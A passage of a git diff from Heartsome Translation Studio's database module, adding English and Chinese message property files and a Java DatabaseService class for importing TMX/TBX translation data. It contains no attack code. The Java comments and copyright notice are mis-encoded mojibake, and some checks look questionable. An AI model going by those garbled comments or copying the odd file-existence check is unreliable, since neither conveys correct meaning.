\u5bfc\u5165\u65f6\uff0c\u4e22\u5931 JDBC \u9a71\u52a8 +service.DatabaseService.logger12 = [LOG] \u5b8c\u6210 TBX \u6587\u4ef6\u5bfc\u5165\u540e\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519 + +document.DocUtils.logger1 = [LOG] \u9a8c\u8bc1 TMX \u65f6\u51fa\u9519 +document.DocUtils.logger2 = [LOG] \u9a8c\u8bc1 TBX \u65f6\u51fa\u9519 +document.ExportAbstract.msg1 = The User has canceled the export. +document.ExportAbstract.msg2 = An error occured when loading databases. Please make sure databases are accessible before loading. +document.ExportAbstract.msg3 = An error occured when loading the JDBC driver. Please reinstall Heartsome Translation Studio and try again. +document.ExportAbstract.msg4 = An error occured when exporting the data to the specified file. Please make sure that the export path is valid and has write premissions. +document.ExportAbstract.msg5 = Export complete. +document.ExportAbstract.msg6 = Export complete. +document.ExportAbstract.msg7 = Export complete. +document.ExportTbxImpl.task1 = Exporting for current Termbase: +document.ExportTmxImpl.task1 = Exporting for current TM: +document.ImportAbstract.msg1 = The encoding of the file is not supported. Please save it as UTF-8 and try again. +document.ImportAbstract.msg2 = The file does not exist. Please make sure you have selected the correct file. +document.ImportAbstract.msg3 = An error was found in the file. Please make sure you have selected the correct file. +document.ImportAbstract.logger1 = [LOG] \u6587\u4ef6\u7f16\u7801\u51fa\u9519 +document.ImportAbstract.logger2 = [LOG] \u6587\u4ef6\u4e0d\u5b58\u5728 +document.ImportAbstract.logger3 = [LOG] \u89e3\u6790\u6587\u4ef6\u51fa\u9519 +document.ImportTbx.task1 = Importing TBX file... +document.ImportTbx.msg1 = Invalid TBX file. Please select a valid TBX file. +document.ImportTmx.task1 = Importing TMX file... +document.ImportTmx.msg1 = Canceling + +document.ImportTmx.msg2 = The source language of the current TMX file is *all*. If continue to import, "Add" action will be applied for repetitions.\nIf the source language of the TMX can be identified, Please modify property value for the source language of the TMX, and then try again.\n\nAre your sure you want to continue to import? +document.ImportTmx.title = Message + +document.importTmx.msg3 = Error occurred while importing TUV {0}. +document.importTmx.msg4 = There is an error in TUL language information: no language attribute in TUV node! + +database.Utils.msg1 = Cannot identify the encoding of the selected TMX file. Please open the TMX file with a text editor, and save the file with UTF-8 encoding, and then try again. +database.Utils.msg2 = The selected file is not a valid TMX file. Please fix the errors in the file, or select another valid TMX file, and then try again. + +document.ImportTmx.canceledImport = Import has been cancelled. +document.ImportTmx.dbOpError = The following error occurred while writing data to the database: + +document.TmxReader.parseTmxFileError = Error parsing TMX file. Please confirm the selected TMX file is correct, or re-select another TMX file, and try again. +document.TmxReader.validateTmxFileError = Error verifying TMX file. Please confirm the selected TMX file is correct, or re-select another TMX file, and try again. +document.TmxReader.EmptyTmxFileError = The selected TMX file is empty and unable to be opened. Please re-select a non-empty TMX file. +document.TmxReader.readTuMsg = There is no import content, please re-select another TMX file to import. + +net.heartsome.cat.database.TMXDBOperatorFacade.findDuplicateSeg=Looking for repetitions... +net.heartsome.cat.database.TMXDBOperatorFacade.deleteDuplicateSeg=Deleting repetitions... +net.heartsome.cat.database.TMXDBOperatorFacade.findSameSrcDiffTgt=Looking for same source with different translations\u2026 +net.heartsome.cat.database.TMXDBOperatorFacade.deleteSameSrcDiffTgt=Deleting same source with different translations\u2026 +net.heartsome.cat.database.TMXDBOperatorFacade.deleteEndsSpace=Deleting leading/trailing spaces\u2026 diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/resource/message_zh.properties b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/resource/message_zh.properties new file mode 100644 index 0000000..8a59fef --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/resource/message_zh.properties @@ -0,0 +1,76 @@ +database.SystemDBOperator.logger1 = [LOG] \u672a\u627e\u5230 JDBC \u9a71\u52a8\u7c7b +database.SystemDBOperator.logger2 = [LOG] SQL \u5f02\u5e38\uff1a\u65e0\u6cd5\u5efa\u7acb\u8fde\u63a5 +database.SystemDBOperator.logger3 = [LOG] \u52a0\u8f7d JDBC \u9a71\u52a8\u5931\u8d25 + +bean.ExportFilterComponentBean.contain = \u5305\u542b +bean.ExportFilterComponentBean.notcontain = \u4e0d\u5305\u542b +bean.ExportFilterComponentBean.gt = \u5927\u4e8e +bean.ExportFilterComponentBean.lt = \u5c0f\u4e8e +bean.ExportFilterComponentBean.eq = \u7b49\u4e8e +bean.ExportFilterComponentBean.segment = \u6587\u672c\u6bb5 +bean.ExportFilterComponentBean.creationDate = \u7ffb\u8bd1\u5355\u5143\u521b\u5efa\u65f6\u95f4 +bean.ExportFilterComponentBean.changeDate = \u7ffb\u8bd1\u5355\u5143\u4fee\u6539\u65f6\u95f4 +bean.ExportFilterComponentBean.creationId = \u7ffb\u8bd1\u5355\u5143\u521b\u5efa\u8005 +bean.ExportFilterComponentBean.changeId = \u7ffb\u8bd1\u5355\u5143\u4fee\u6539\u8005 +bean.ExportFilterComponentBean.projectRef = \u9879\u76ee +bean.ExportFilterComponentBean.jobRef = \u4efb\u52a1 +bean.ExportFilterComponentBean.noteRef = \u6279\u6ce8 +bean.ExportFilterComponentBean.tbContent = \u672f\u8bed\u5185\u5bb9 + +service.DatabaseService.logger1 = [LOG] \u6267\u884c TMX \u6587\u4ef6\u5bfc\u5165\u65f6\u542f\u52a8\u6570\u636e\u5e93\u5931\u8d25\uff1a +service.DatabaseService.logger2 = [LOG] \u6267\u884c TMX \u5bfc\u5165\u65f6\uff0c\u4e22\u5931 JDBC \u9a71\u52a8 +service.DatabaseService.logger3 = [LOG] \u5b8c\u6210 TMX \u6587\u4ef6\u5bfc\u5165\u540e\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519 +service.DatabaseService.logger4 = [LOG] \u6267\u884c TMX \u5b57\u7b26\u4e32\u5185\u5bb9\u5bfc\u5165\u65f6\u542f\u52a8\u6570\u636e\u5e93\u5931\u8d25\uff1a +service.DatabaseService.logger5 = [LOG] \u6267\u884c TMX \u5b57\u7b26\u4e32\u5bfc\u5165\u65f6\uff0c\u4e22\u5931 JDBC \u9a71\u52a8 +service.DatabaseService.logger6 = [LOG] \u5b8c\u6210 TMX \u5b57\u7b26\u4e32\u5185\u5bb9\u5bfc\u5165\u540e\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519 +service.DatabaseService.logger7 = [LOG] \u6267\u884c TBX \u5b57\u7b26\u4e32\u5185\u5bb9\u5bfc\u5165\u65f6\u542f\u52a8\u6570\u636e\u5e93\u5931\u8d25\uff1a +service.DatabaseService.logger8 = [LOG] \u6267\u884c TBX \u5b57\u7b26\u4e32\u5bfc\u5165\u65f6\uff0c\u4e22\u5931 JDBC \u9a71\u52a8 +service.DatabaseService.logger9 = [LOG] \u5b8c\u6210 TBX \u5b57\u7b26\u4e32\u5185\u5bb9\u5bfc\u5165\u540e\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519 +service.DatabaseService.logger10 = [LOG] \u6267\u884c TBX \u6587\u4ef6\u5bfc\u5165\u65f6\u542f\u52a8\u6570\u636e\u5e93\u5931\u8d25\uff1a +service.DatabaseService.logger11 = [LOG] \u6267\u884c TBX \u5bfc\u5165\u65f6\uff0c\u4e22\u5931 JDBC \u9a71\u52a8 +service.DatabaseService.logger12 = [LOG] \u5b8c\u6210 TBX \u6587\u4ef6\u5bfc\u5165\u540e\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519 + +document.DocUtils.logger1 = [LOG] \u9a8c\u8bc1 TMX \u65f6\u51fa\u9519 +document.DocUtils.logger2 = [LOG] \u9a8c\u8bc1 TBX \u65f6\u51fa\u9519 +document.ExportAbstract.msg1 = \u7528\u6237\u53d6\u6d88\u4e86\u5bfc\u51fa\u3002 +document.ExportAbstract.msg2 = \u8bfb\u53d6\u6570\u636e\u5e93\u65f6\u51fa\u9519\uff0c\u8bf7\u786e\u8ba4\u6570\u636e\u5e93\u80fd\u6b63\u5e38\u8bbf\u95ee\u3002 +document.ExportAbstract.msg3 = \u52a0\u8f7d\u6570\u636e\u5e93 JDBC \u9a71\u52a8\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio \u540e\u91cd\u8bd5\u3002 +document.ExportAbstract.msg4 = \u5c06\u5bfc\u51fa\u7684\u6570\u636e\u5199\u5165\u5230\u6307\u5b9a\u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u8f93\u51fa\u8def\u5f84\u6709\u6548\u3001\u4e14\u5177\u6709\u5199\u5165\u6743\u9650\u3002 +document.ExportAbstract.msg5 = \u5df2\u6210\u529f\u5bfc\u51fa\u3002 +document.ExportAbstract.msg6 = \u5df2\u6210\u529f\u5bfc\u51fa\u3002 +document.ExportAbstract.msg7 = \u5df2\u6210\u529f\u5bfc\u51fa\u3002 +document.ExportTbxImpl.task1 = \u6b63\u5728\u6267\u884c\u5bfc\u51fa\uff0c\u5f53\u524d\u672f\u8bed\u5e93\u4e3a\uff1a +document.ExportTmxImpl.task1 = \u6b63\u5728\u6267\u884c\u5bfc\u51fa\uff0c\u5f53\u524d\u8bb0\u5fc6\u5e93\u4e3a\uff1a +document.ImportAbstract.msg1 = \u8be5\u6587\u4ef6\u7684\u7f16\u7801\u4e0d\u53d7\u652f\u6301\uff0c\u8bf7\u4f7f\u7528 UTF-8 \u7f16\u7801\u4fdd\u5b58\u8be5\u6587\u4ef6\u540e\u91cd\u8bd5\u3002 +document.ImportAbstract.msg2 = \u8be5\u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u8bf7\u786e\u8ba4\u6b63\u786e\u9009\u62e9\u4e86\u5f85\u5bfc\u5165\u7684\u6587\u4ef6\u3002 +document.ImportAbstract.msg3 = \u6587\u4ef6\u5185\u5bb9\u6709\u8bef\uff0c\u8bf7\u786e\u8ba4\u6b63\u786e\u9009\u62e9\u4e86\u5f85\u5bfc\u5165\u7684\u6587\u4ef6\u3002 +document.ImportAbstract.logger1 = [LOG] \u6587\u4ef6\u7f16\u7801\u51fa\u9519 +document.ImportAbstract.logger2 = [LOG] \u6587\u4ef6\u4e0d\u5b58\u5728 +document.ImportAbstract.logger3 = [LOG] \u89e3\u6790\u6587\u4ef6\u51fa\u9519 +document.ImportTbx.task1 = \u6b63\u5728\u5bfc\u5165 TBX \u6587\u4ef6 +document.ImportTbx.msg1 = \u65e0\u6548\u7684 TBX \u6587\u4ef6\uff0c\u8bf7\u9009\u62e9\u6b63\u786e\u7684 TBX \u6587\u4ef6\u3002 +document.ImportTmx.task1 = \u5bfc\u5165 TMX \u6587\u4ef6... +document.ImportTmx.msg1 = \u6b63\u5728\u53d6\u6d88\u6267\u884c... + +document.ImportTmx.msg2 = \u5f53\u524d TMX \u6587\u4ef6\u7684\u6e90\u8bed\u8a00\u4e3a *all*\uff0c\u7ee7\u7eed\u5bfc\u5165\u5c06\u4f7f\u7528\u201c\u65b0\u589e\u201d\u7684\u91cd\u590d\u9879\u5904\u7406\u7b56\u7565\u3002\n\u5982\u679c\u8be5 TMX \u7684\u5185\u5bb9\u6709\u786e\u5b9a\u7684\u6e90\u8bed\u8a00\uff0c\u8bf7\u4fee\u6539\u6587\u4ef6\u7684\u6e90\u8bed\u8a00 srclang \u5c5e\u6027\u503c\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002\n\n\u786e\u5b9a\u8981\u7ee7\u7eed\u5bfc\u5165\u5417\uff1f +document.ImportTmx.title = \u63d0\u793a + +document.importTmx.msg3 = \u5bfc\u5165\u7b2c {0} \u4e2aTUV\u51fa\u9519\uff0c +document.importTmx.msg4 = \u83b7\u53d6 TUV \u8bed\u8a00\u4fe1\u606f\u51fa\u9519, TUV \u8282\u70b9\u65e0\u8bed\u8a00\u5c5e\u6027\uff01 + +database.Utils.msg1 = \u65e0\u6cd5\u8bc6\u522b\u8be5 TMX \u6587\u4ef6\u7684\u7f16\u7801\u3002\u8bf7\u4f7f\u7528\u6587\u672c\u7f16\u8f91\u5668\u4ee5 UTF-8 \u7f16\u7801\u53e6\u5b58\u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +database.Utils.msg2 = \u4e0d\u662f\u5408\u6cd5\u7684 TMX \u6587\u4ef6\u3002\u8bf7\u4fee\u590d\u8be5\u6587\u4ef6\u4e2d\u7684\u9519\u8bef\u6216\u9009\u62e9\u53e6\u4e00\u4e2a\u5408\u6cd5\u7684 TMX \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +document.ImportTmx.canceledImport = \u5df2\u53d6\u6d88\u5bfc\u5165\u3002 +document.ImportTmx.dbOpError = \u5199\u5165\u6570\u636e\u5e93\u65f6\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff1a + +document.TmxReader.parseTmxFileError = \u89e3\u6790 TMX \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u786e\u8ba4\u6240\u9009\u7684 TMX \u6587\u4ef6\u662f\u5426\u6b63\u786e\uff0c\u6216\u91cd\u65b0\u9009\u62e9\u53e6\u4e00\u4e2a TMX \u6587\u4ef6\u3002\u7136\u540e\u518d\u91cd\u8bd5\u3002 +document.TmxReader.validateTmxFileError = \u9a8c\u8bc1 TMX \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u786e\u8ba4\u6240\u9009\u7684 TMX \u6587\u4ef6\u662f\u5426\u6b63\u786e\uff0c\u6216\u91cd\u65b0\u9009\u62e9\u53e6\u4e00\u4e2a TMX \u6587\u4ef6\u3002\u7136\u540e\u518d\u91cd\u8bd5\u3002 +document.TmxReader.EmptyTmxFileError = \u6240\u9009\u7684 TMX \u6587\u4ef6\u4e3a\u7a7a\uff0c\u65e0\u6cd5\u6253\u5f00\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u975e\u7a7a\u7684 TMX \u6587\u4ef6\u3002 +document.TmxReader.readTuMsg = \u65e0\u53ef\u5bfc\u5165\u7684\u5185\u5bb9\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u53e6\u4e00\u4e2a TMX \u6587\u4ef6\u4ee5\u5bfc\u5165\u3002 + +net.heartsome.cat.database.TMXDBOperatorFacade.findDuplicateSeg=\u6b63\u5728\u67e5\u627e\u91cd\u590d\u884c... +net.heartsome.cat.database.TMXDBOperatorFacade.deleteDuplicateSeg=\u6b63\u5728\u5220\u9664\u91cd\u590d\u884c... +net.heartsome.cat.database.TMXDBOperatorFacade.findSameSrcDiffTgt=\u6b63\u5728\u67e5\u627e\u6e90\u6587\u76f8\u540c\u3001\u8bd1\u6587\u4e0d\u540c\u7684\u884c... +net.heartsome.cat.database.TMXDBOperatorFacade.deleteSameSrcDiffTgt=\u6b63\u5728\u5220\u9664\u6e90\u6587\u76f8\u540c\u3001\u8bd1\u6587\u4e0d\u540c\u7684\u884c... +net.heartsome.cat.database.TMXDBOperatorFacade.deleteEndsSpace=\u6b63\u5728\u5220\u9664\u6bb5\u9996/\u6bb5\u672b\u7a7a\u683c... diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/service/DatabaseService.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/service/DatabaseService.java new file mode 100644 index 0000000..3c60e97 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/service/DatabaseService.java @@ -0,0 +1,454 @@ +/** + * DatabaseService.java + * + * Version information : + * + * Date:Nov 29, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.service; + +import java.io.File; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.common.core.exception.ImportException; +import net.heartsome.cat.database.Activator; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.DBServiceProvider; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.Utils; +import net.heartsome.cat.database.resource.Messages; +import net.heartsome.cat.document.ExportAbstract; +import net.heartsome.cat.document.ImportAbstract; +import net.heartsome.cat.document.ImportTbx; +import net.heartsome.cat.document.ImportTmx; +import net.heartsome.cat.document.TmxReadException; +import net.heartsome.cat.document.TmxReader; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.osgi.util.tracker.ServiceTracker; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * æ•°æ®åº“模å—外部接å£,供其他程åºèŽ·å–æ•°æ®åº“æœåŠ¡ + * @author Jason + * @version + * @since JDK1.6 + */ +public class DatabaseService { + + public static final Logger LOGGER = LoggerFactory.getLogger(DatabaseService.class); + + /** æˆåŠŸæ ‡å¿— */ + public static final int SUCCESS = ImportAbstract.SUCCESS; + + /** 失败标志 */ + public static final int FAILURE = ImportAbstract.FAILURE; + + /** ä¸æ˜¯æ­£ç¡®çš„ TMX 或 TBX 文件 */ + public static final int FAILURE_1 = ImportAbstract.FAILURE_1; + + /** 解æžæ–‡ä»¶å¤±è´¥ */ + public static final int FAILURE_2 = ImportAbstract.FAILURE_2; + + /** æ•°æ®åº“异常 */ + public static final int FAILURE_3 = ImportAbstract.FAILURE_3; + + /** XPath 错误 */ + public static final int FAILURE_4 = ImportAbstract.FAILURE_4; + + /** å–消标志 */ + public static final int CANCEL = ImportAbstract.CANCEL;; + + /** + * å°†TMX文件导入到指定的数æ®åº“中 + * @param metaData + * æ•°æ®åº“元数æ®ï¼Œå°è£…了一系列连接数æ®åº“çš„å‚数,用于连接数æ®ï¼Œå‚考{@link MetaData} + * @param fileName + * TMX文件完整路径 + * @param monitor + * 需è¦ä½¿ç”¨çš„进度æ¡ï¼Œå¦‚æžœä¸éœ€è¦ä½¿ç”¨è¿›åº¦æ¡ï¼Œåˆ™ä¸ºnull + * @param strategy + * TMX导入策略,å‚考{@link Constants}中的定义 + * @param checkContext + * TMX导入时,是å¦éœ€è¦æ£€æŸ¥ä¸Šä¸‹æ–‡ + * @return 导入结果,为intåž‹æ•°æ®ï¼Œå‚考{@link ImportAbstract}中的定义; + * @throws ImportException + */ + public static int importTmxWithFile(MetaData metaData, String fileName, IProgressMonitor monitor, int strategy, + boolean checkContext) throws ImportException { + File file = new File(fileName); + if (file.exists() || !file.isDirectory()) { + try { + // 检查原始文件是å¦èƒ½é€šè¿‡ VTD çš„è§£æž + new TmxReader(file); + } catch (TmxReadException e1) { + throw new ImportException(e1.getMessage().replace("\n", " ")); + } + File _file = Utils.clearTmxFile(file); + DBOperator dbOp = getDBOperator(metaData); + try { + dbOp.start(); + // ImportAbstract impOp = new ImportTmx(dbOp, strategy, checkContext); + // int result = impOp.doImport(_file.getAbsolutePath(), monitor); + // return result; + ImportTmx i = new ImportTmx(dbOp, strategy, monitor); + i.importTmxFile(_file); + return 1; + } catch (SQLException e) { + LOGGER.error(Messages.getString("service.DatabaseService.logger1") + + dbOp.getMetaData().getDatabaseName(), e); + return ImportAbstract.FAILURE_3; + } catch (ClassNotFoundException e) { + LOGGER.error(Messages.getString("service.DatabaseService.logger2"), e); + return ImportAbstract.FAILURE_3; + } finally { + if (dbOp != null) { + try { + dbOp.end(); + } catch (SQLException e) { + LOGGER.error(Messages.getString("service.DatabaseService.logger3"), e); + } + } + _file.delete(); + } + } + return ImportAbstract.FAILURE_1; + } + + /** + * 将内容为TMX标准格å¼çš„字符串数æ®å¯¼å…¥åˆ°æŒ‡å®šçš„æ•°æ®åº“中 + * @param metaData + * æ•°æ®åº“元数æ®ï¼Œå°è£…了一系列连接数æ®åº“çš„å‚数,用于连接数æ®ï¼Œå‚考{@link MetaData} + * @param tmxStr + * 内容为TMX标准格å¼çš„字符串 + * @param monitor + * 需è¦ä½¿ç”¨çš„进度æ¡ï¼Œå¦‚æžœä¸éœ€è¦ä½¿ç”¨è¿›åº¦æ¡ï¼Œåˆ™ä¸ºnull + * @param strategy + * TMX导入策略,å‚考{@link Constants}中的定义 + * @param checkContext + * TMX导入时,是å¦éœ€è¦æ£€æŸ¥ä¸Šä¸‹æ–‡ + * @param sourceLanguage + * 该字符串内容的TMXæºè¯­è¨€ + * @return 导入结果,为intåž‹æ•°æ®ï¼Œå‚考{@link ImportAbstract}中的定义; + * @throws ImportException + */ + public static int importTmxWithString(MetaData metaData, String tmxStr, IProgressMonitor monitor, int strategy, + boolean checkContext, String sourceLanguage) throws ImportException { + if (tmxStr != null && tmxStr.length() > 0) { + DBOperator dbOp = getDBOperator(metaData); + try { + dbOp.start(); + // ImportAbstract impOp = new ImportTmx(dbOp, strategy, checkContext); + // int result = impOp.doImport(tmxStr, sourceLanguage, monitor); + ImportTmx i = new ImportTmx(dbOp, strategy, monitor); + i.importTmxContent(tmxStr); + return 1; + } catch (SQLException e) { + LOGGER.error(Messages.getString("service.DatabaseService.logger4") + + dbOp.getMetaData().getDatabaseName(), e); + return ImportAbstract.FAILURE_3; + } catch (ClassNotFoundException e) { + LOGGER.error(Messages.getString("service.DatabaseService.logger5"), e); + return ImportAbstract.FAILURE_3; + } finally { + if (dbOp != null) { + try { + dbOp.end(); + } catch (SQLException e) { + LOGGER.error(Messages.getString("service.DatabaseService.logger6"), e); + } + } + } + } + return ImportAbstract.FAILURE; + } + + /** + * 将内容为TMX标准格å¼çš„字符串数æ®å¯¼å…¥åˆ°æŒ‡å®šçš„æ•°æ®åº“中,æ•°æ®åº“è¿žæŽ¥ç”±å¤–éƒ¨ç®¡ç† + * @param dbOp + * @param tmxStr + * @param monitor + * @param strategy + * @param checkContext + * @param sourceLanguage + * @return ; + * @throws ImportException + */ + public static int importTmxWithString(DBOperator dbOp, String tmxStr, IProgressMonitor monitor, int strategy, + boolean checkContext, String sourceLanguage) throws ImportException { + // ImportAbstract impOp = new ImportTmx(dbOp, strategy, checkContext); + // int result = impOp.doImport(tmxStr, sourceLanguage, monitor); + ImportTmx i = new ImportTmx(dbOp, strategy, monitor); + i.importTmxContent(tmxStr); + return 1; + } + + /** + * 将内容为TBX标准格å¼çš„字符串数æ®å¯¼å…¥åˆ°æŒ‡å®šçš„æ•°æ®åº“中 + * @param tbxStr + * 内容为TBX标准格å¼çš„字符串 + * @param monitor + * 需è¦ä½¿ç”¨çš„进度æ¡ï¼Œå¦‚æžœä¸éœ€è¦ä½¿ç”¨è¿›åº¦æ¡ï¼Œåˆ™ä¸ºnull + * @param metaData + * æ•°æ®åº“元数æ®ï¼Œå°è£…了一系列连接数æ®åº“çš„å‚数,用于连接数æ®ï¼Œå‚考{@link MetaData} + * @param strategy + * TBX导入策略,å‚考{@link Constants}中的定义 + * @return 导入结果,为intåž‹æ•°æ®ï¼Œå‚考{@link ImportAbstract}中的定义;; + */ + public static int importTbxWithString(String tbxStr, IProgressMonitor monitor, MetaData metaData, int strategy, + String srcLang) { + if (tbxStr != null && tbxStr.length() > 0) { + DBOperator dbOp = getDBOperator(metaData); + try { + dbOp.start(); + ImportAbstract impOp = new ImportTbx(dbOp, strategy); + int result = impOp.doImport(tbxStr, srcLang, monitor); + return result; + } catch (SQLException e) { + LOGGER.error(Messages.getString("service.DatabaseService.logger7") + + dbOp.getMetaData().getDatabaseName(), e); + return ImportAbstract.FAILURE_3; + } catch (ClassNotFoundException e) { + LOGGER.error(Messages.getString("service.DatabaseService.logger8"), e); + return ImportAbstract.FAILURE_3; + } finally { + if (dbOp != null) { + try { + dbOp.end(); + } catch (SQLException e) { + LOGGER.error(Messages.getString("service.DatabaseService.logger9"), e); + } + } + } + } + return ImportAbstract.FAILURE; + } + + public static int importTbxWithString(String tbxStr, IProgressMonitor monitor, DBOperator dbOp, int strategy, + String srcLang) { + ImportAbstract impOp = new ImportTbx(dbOp, strategy); + int result = impOp.doImport(tbxStr, srcLang, monitor); + return result; + } + + /** + * å°†TBX文件导入到指定的数æ®åº“中 + * @param fileName + * TBX文件完整路径 + * @param monitor + * 需è¦ä½¿ç”¨çš„进度æ¡ï¼Œå¦‚æžœä¸éœ€è¦ä½¿ç”¨è¿›åº¦æ¡ï¼Œåˆ™ä¸ºnull + * @param metaData + * æ•°æ®åº“元数æ®ï¼Œå°è£…了一系列连接数æ®åº“çš„å‚数,用于连接数æ®ï¼Œå‚考{@link MetaData} + * @param strategy + * TBX导入策略,å‚考{@link Constants}中的定义 + * @return 导入结果,为intåž‹æ•°æ®ï¼Œå‚考{@link ImportAbstract}中的定义;; + * @throws ImportException + */ + public static int importTbxWithFile(String fileName, IProgressMonitor monitor, MetaData metaData, int strategy) + throws ImportException { + File file = new File(fileName); + if (file.exists() || !file.isDirectory()) { + DBOperator dbOp = getDBOperator(metaData); + try { + dbOp.start(); + ImportAbstract impOp = new ImportTbx(dbOp, strategy); + int result = impOp.doImport(fileName, monitor); + return result; + } catch (SQLException e) { + LOGGER.error(Messages.getString("service.DatabaseService.logger10") + + dbOp.getMetaData().getDatabaseName(), e); + return ImportAbstract.FAILURE_3; + } catch (ClassNotFoundException e) { + LOGGER.error(Messages.getString("service.DatabaseService.logger11"), e); + return ImportAbstract.FAILURE_3; + } finally { + if (dbOp != null) { + try { + dbOp.end(); + } catch (SQLException e) { + LOGGER.error(Messages.getString("service.DatabaseService.logger12"), e); + } + } + } + + } + return ImportAbstract.FAILURE; + } + + /** + * 获å–æ•°æ®å¤„ç†å¯¹è±¡{@link DBOperator},该数æ®å¤„ç†å¯¹è±¡ç”¨äºŽè®¿é—®æŒ‡å®šçš„æ•°æ®åº“中的数æ®
    + * 在访问数æ®åº“æ—¶,æ ¹æ®ä¸åŒæ•°æ®åº“类型获å–相应的处ç†å¯¹è±¡.这些数æ®åº“被å°è£…在{@link MetaData}中 + * @param metaData + * 当å‰æ•°æ®åº“的元数æ®,å°è£…了连接数æ®åº“的一系列å‚æ•° + * @return 返回nullæ—¶,表示未获å–到数æ®å¤„ç†å¯¹è±¡; + */ + public static DBOperator getDBOperator(MetaData metaData) { + DBOperator dbOperator = null; + @SuppressWarnings({ "rawtypes", "unchecked" }) + ServiceTracker tracker = new ServiceTracker(Activator.context, DBServiceProvider.class.getName(), null); + tracker.open(); + try { + Object[] services = tracker.getServices(); + for (Object i : services) { + DBServiceProvider serviceProvider = (DBServiceProvider) i; + DBOperator temp = serviceProvider.getTmDatabaseInstance(); + if (temp == null) { + continue; + } + if (temp.getDbConfig().getDefaultType().equals(metaData.getDbType())) { + dbOperator = temp; + dbOperator.setMetaData(metaData); + } + } + } finally { + tracker.close(); + } + return dbOperator; + } + + /** + * æ ¹æ®å½“å‰ç³»ç»Ÿæ”¯æŒçš„æ•°æ®åº“类型,获å–所有的库处ç†å¯¹è±¡,
    + * 该库处ç†å¯¹è±¡æ˜¯å¯¹æœåŠ¡å™¨ä¸­çš„æ•°æ®åº“进行管ç†,包括创建,删除等一系列æ“作.å‚è§{@link SystemDBOperator} * + * @return 返回当å‰ç³»ç»Ÿæ‰€æ”¯æŒçš„库处ç†å¯¹è±¡é›†; + */ + @SuppressWarnings({ "rawtypes", "unchecked" }) + public static List getSystemDbOperaterList() { + List list = new ArrayList(); + ServiceTracker operateDbTracker = new ServiceTracker(Activator.context, DBServiceProvider.class.getName(), null); + operateDbTracker.open(); + try { + Object[] services = operateDbTracker.getServices(); + for (Object i : services) { + DBServiceProvider temp = (DBServiceProvider) i; + list.add(temp.getOperateDBInstance()); + } + } finally { + operateDbTracker.close(); + } + if (list.size() == 0) { + return list; + } + int size = list.size(); + SystemDBOperator[] temp = new SystemDBOperator[size]; + for (SystemDBOperator op : list) { + if (op.getDBConfig().getDefaultType().equals(Constants.DBTYPE_INTERNALDB)) { + temp[size - 1] = op; + } + if (op.getDBConfig().getDefaultType().equals(Constants.DBTYPE_MYSQL)) { + temp[size - 5] = op; + } + if (op.getDBConfig().getDefaultType().equals(Constants.DBTYPE_MSSQL2005)) { + temp[size - 4] = op; + } + if (op.getDBConfig().getDefaultType().equals(Constants.DBTYPE_POSTGRESQL)) { + temp[size - 2] = op; + } + if (op.getDBConfig().getDefaultType().equals(Constants.DBTYPE_Oracle)) { + temp[size - 3] = op; + } + if (op.getDBConfig().getDefaultType().equals(Constants.DBTYPE_SQLITE)) { + temp[0] = op; + } + } + return Arrays.asList(temp); + } + + /** + * 获å–当å‰ç³»ç»Ÿæ‰€æ”¯æŒçš„æ•°æ®åº“类型 + * @return ; + */ + public static List getSystemSuportDbType() { + List list = new ArrayList(); + List sysDbOp = getSystemDbOperaterList(); + for (int i = 0; i < sysDbOp.size(); i++) { + list.add(sysDbOp.get(i).getMetaData().getDbType()); + } + Collections.sort(list); + return list; + + } + + /** + * 获å–系统支æŒæ•°æ®åº“çš„å…ƒæ•°æ® + * @return ; + */ + public static Map getSystemSuportDbMetaData() { + Map map = new HashMap(); + List sysDbOp = 